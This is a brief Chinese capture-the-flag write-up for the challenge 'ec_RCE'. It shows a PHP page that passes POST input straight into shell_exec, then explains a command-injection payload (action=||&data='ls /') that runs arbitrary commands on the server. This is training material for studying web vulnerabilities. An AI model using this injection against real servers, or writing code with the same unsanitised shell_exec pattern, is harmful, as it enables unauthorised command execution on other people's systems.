[NSSRound#7 Team]ec_RCE
[NSSRound#7 Team]ec_RCE
解题
<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');
$action = $_POST["action"];
$data = "'".$_POST["data"]."'";
$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>
shell_exec()函数,讲白了就是可以执行“”里的内容并保存到output里
前面的
/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar
看着挺长其实没有什么用,将其当成127.0.0.1就行
所以,直接使用管道符让后面的data进行命令执行,因为有‘’包裹data
我们也包裹一层,让其不影响传参
action=||&data='ls /'